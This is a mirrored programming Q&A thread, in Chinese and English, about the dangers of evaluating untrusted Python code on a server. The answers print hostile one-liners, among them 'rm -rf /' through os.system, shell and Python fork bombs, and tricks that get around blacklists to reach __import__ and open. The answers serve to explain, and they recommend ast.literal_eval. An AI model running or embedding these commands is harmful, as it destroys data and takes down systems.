鉴于我的代码是开源的并且我在服务器上运行,并且我接受近乎原始的代码,那么对我来说最糟糕的情况是什么?

发布于 2024-11-18 18:59:50 字数 275 浏览 3 评论 0原文

我正在研究几个案例,在这些案例中,接受近乎原始的代码会容易得多。那么,

  1. 如果你不能使用 lambda,你能对表达式做的最糟糕的事情是什么,以及如何做?
  2. 如果不能使用 import,那么对执行的代码最糟糕的情况是什么?如何使用? (不能使用 X == 扫描字符串来查找 X)

此外,如果有人能想到给定 d = {key:value,...} 的表达式,则 B 是不必要的: expr.format(key) == d[key]

不改变格式的外观。

I'm looking at several cases where it would be far, far, far easier to accept nearly-raw code. So,

  1. What's the worst you can do with an expression if you can't lambda, and how?
  2. What's the worst you can do with executed code if you can't use import and how?
    (can't use X == string is scanned for X)

Also, B is unecessary if someone can think of such an expr that given d = {key:value,...}:
expr.format(key) == d[key]

Without changing the way the format looks.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(3

纵山崖 2024-11-25 18:59:50

对于表达式来说,最糟糕的情况就是

__import__('os').system('rm -rf /')

服务器进程以 root 身份运行。否则,您可以通过执行

2**2**1024

,或者使服务器停止运行“nofollow">shell fork 炸弹:

__import__('os').system(':(){ :|:& };:')

或者在 Python 本身中执行临时(但具有足够破坏性)fork 炸弹:

[__import__('os').fork() for i in xrange(2**64) for x in range(i)]

扫描 __import__ 不会有帮助,因为有无数种方法可以到达请

eval(''.join(['__', 'im', 'po', 'rt', '__']))
getattr(__builtins__, '__imp' + 'ort__')
getattr(globals()['__built' 'ins__'], '__imp' + 'ort__')

注意,evalexec 函数也可用于以间接方式创建上述任何函数。如果您想在服务器上进行安全的表达式计算,请使用 ast.literal_eval

The worst you can do with an expression is on the order of

__import__('os').system('rm -rf /')

if the server process is running as root. Otherwise, you can fill up memory and crash the process with

2**2**1024

or bring the server to a grinding halt by executing a shell fork bomb:

__import__('os').system(':(){ :|:& };:')

or execute a temporary (but destructive enough) fork bomb in Python itself:

[__import__('os').fork() for i in xrange(2**64) for x in range(i)]

Scanning for __import__ won't help, since there's an infinite number of ways to get to it, including

eval(''.join(['__', 'im', 'po', 'rt', '__']))
getattr(__builtins__, '__imp' + 'ort__')
getattr(globals()['__built' 'ins__'], '__imp' + 'ort__')

Note that the eval and exec functions can also be used to create any of the above in an indirect way. If you want safe expression evaluation on a server, use ast.literal_eval.

半步萧音过轻尘 2024-11-25 18:59:50

任意Python代码?

  • 在分区上打开、读取、写入、创建文件。包括填满所有磁盘空间。
  • 无限循环会给 CPU 带来负载。
  • 分配所有内存。
  • 通过将代码复制/粘贴到表达式中来执行纯 Python 模块中的操作,而不导入它们(弄乱内置的 Python 内部结构,并可能找到一种访问文件、执行文件或导入模块的方法)。
    ...

Arbitrary Python code?

  • Opening, reading, writing, creating files on the partition. Including filling up all the disk space.
  • Infinite loops that put load on the CPU.
  • Allocating all the memory.
  • Doing things that are in pure Python modules without importing them by copy/pasting their code into the expression (messing with built in Python internals and probably finding a way to access files, execute them or import modules).
    ...
奢欲 2024-11-25 18:59:50

再多的白名单或黑名单也无法阻止人们接触 Python 的危险部分。例如,您提到在未定义“open”的沙箱中运行。但我可以这样做来得到它:

real_open = getattr(os, "open")

如果你说我不会有os,那么我可以这样做:

real_open = getattr(sys.modules['os'], "open")

或者

real_open = random.__builtins__['open']

等等,等等,等等。一切都是相连的,真正的力量就在那里某处。坏人会发现它。

No amount of whitelisting or blacklisting is going to keep people from getting to dangerous parts of Python. You mention running in a sandbox where "open" is not defined, for example. But I can do this to get it:

real_open = getattr(os, "open")

and if you say I won't have os, then I can do:

real_open = getattr(sys.modules['os'], "open")

or

real_open = random.__builtins__['open']

etc, etc, etc. Everything is connected, and the real power is in there somewhere. Bad guys will find it.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文